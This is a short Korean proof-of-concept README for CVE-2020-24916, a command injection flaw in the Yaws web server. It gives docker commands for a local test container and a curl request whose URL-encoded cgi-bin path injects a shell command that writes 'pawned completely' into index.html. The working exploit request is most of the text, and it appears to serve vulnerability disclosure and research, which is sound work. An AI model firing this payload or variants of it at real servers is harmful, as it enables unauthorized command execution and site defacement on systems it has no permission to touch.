Yaws 웹 서버의 OS 명령 주입 (CVE-2020-24916)

개념 증명

테스트 이미지 빌드:

docker build -t vulnbe/yaws-pocs:shell-injection-appmod-cgi -f Dockerfile .

및/또는

컨테이너 실행 docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:shell-injection-appmod-cgi

curl 'http://127.0.0.1:8000/cgi-bin/%22%60export%20Z=$(pwd%7Ccut%20-c1);echo%20pawned%20completely%3E%3E..$Z%22%22index.html%60%22'
curl http://127.0.0.1:8000/index.html

크레딧

Alexey Pronin (@vulnbe)

참고 자료

• 취약점 분석
• GitHub의 Yaws
• CVE-2020-24916
• CWE-78: OS 명령에 사용되는 특수 요소의 부적절한 중화 ('OS 명령 주입')